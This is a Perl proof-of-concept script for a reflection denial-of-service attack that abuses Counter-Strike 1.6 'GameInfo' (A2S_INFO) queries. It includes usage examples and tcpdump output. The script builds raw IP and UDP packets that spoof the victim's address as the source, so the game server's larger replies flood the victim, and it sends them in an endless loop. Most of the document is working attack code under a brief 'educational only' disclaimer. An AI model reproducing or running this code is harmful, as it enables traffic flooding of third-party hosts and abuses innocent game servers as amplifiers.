#!/usr/bin/perl # # Counter-Strike 1.6 'GameInfo' Query Reflection DoS # Proof Of Concept # # Copyright 2015 (c) Todor Donev # todor.donev@gmail.com # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # http://pastebin.com/u/hackerscommunity # # # Disclaimer: # This or previous program is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use at your own risk and educational # purpose ONLY! # # See also, UDP-based Amplification Attacks: # https://www.us-cert.gov/ncas/alerts/TA14-017A # # # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010 # [ Counter-Strike 1.6 'GameInfo' query reflection dos poc # [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10 # ^C # # # tcpdump -i eth0 -c4 port 27010 # tcpdump: verbose output suppressed, use -v or -vv for full protocol decode # listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes # 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25 # 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392 # 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25 # 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392 # 4 packets captured # 4 packets received by filter # 0 packets dropped by kernel use strict; use Socket; use warnings; no warnings 'uninitialized'; print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n"; die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0); my $css = (gethostbyname($ARGV[0]))[4]; # IP Address Destination (32 bits) my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits) my $port = $ARGV[2] || '27015'; # Int between 1 and 65535 Default: 27015 die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535); if (!defined $css || !defined $victim) { print "[ Usg: $0 <cstrike server> <victim> <port>\n"; print "[ Default port: 27015\n"; print "[ <todor.donev\@gmail.com> Todor Donev\n"; exit; } print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n"; socket(RAW, AF_INET, SOCK_RAW, 255) || die $!; setsockopt(RAW, 0, 1, 1) || die $!; main(); # Main program sub main { my $packet; $packet = iphdr(); $packet .= udphdr(); $packet .= cshdr(); # b000000m... send_packet($packet); } # IP header (Layer 3) sub iphdr { my $ip_ver = 4; # IP Version 4 (4 bits) my $iphdr_len = 5; # IP Header Length (4 bits) my $ip_tos = 0; # Differentiated Services (8 bits) my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits) my $ip_frag_id = 0; # Identification Field (16 bits) my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits) my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits) my $ip_ttl = 255; # IP TTL (8 bits) my $ip_proto = 17; # IP Protocol (8 bits) my $ip_checksum = 0; # IP Checksum (16 bits) # IP Packet my $iphdr = pack( 'H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $iphdr_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $victim, $css ); return $iphdr; } # UDP Header (Layer 4) sub udphdr { my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535) my $udp_dst_port = $port; # UDP Dest Port (16 btis) (0-65535) my $udp_len = 8 + length(cshdr()); # UDP Length (16 bits) (0-65535) my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header) # UDP Packet my $udphdr = pack( 'n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); return $udphdr; } # Counter-Strike 'GameInfo' request sub cshdr { # # https://developer.valvesoftware.com/wiki/Server_queries # # https://developer.valvesoftware.com/wiki/Source_RCON_Protocol # Requests # The server responds to 5 queries: # # A2S_INFO 'T' (0x54) # Basic information about the server. # A2S_PLAYER 'U' (0x55) # Details about each player on the server. # A2S_RULES 'V' (0x56) # The rules the server is using. # A2A_PING 'i' (0x69) # Ping the server. (DEPRECATED) # A2S_SERVERQUERY_GETCHALLENGE 'W' (0x57) # Returns a challenge number for use in the player and rules query. (DEPRECATED) # # Queries should be sent in UDP packets to the listen port of the server. # # 25 bytes - A2S_INFO my $query = "\xff\xff\xff\xff\x54"; # 0000 ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69 ....TSource Engi $query .= "\x53\x6f\x75\x72\x63"; # 0010 6e 65 20 51 75 65 72 79 00 ne Query. $query .= "\x65\x20\x45\x6e\x67"; $query .= "\x69\x6e\x65\x20\x51"; $query .= "\x75\x65\x72\x79\x00"; my $cshdr = pack('a*', $query); return $cshdr; } sub send_packet { while(1){ select(undef, undef, undef, 0.40); # Sleep 400 milliseconds send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css)) || die $!; } }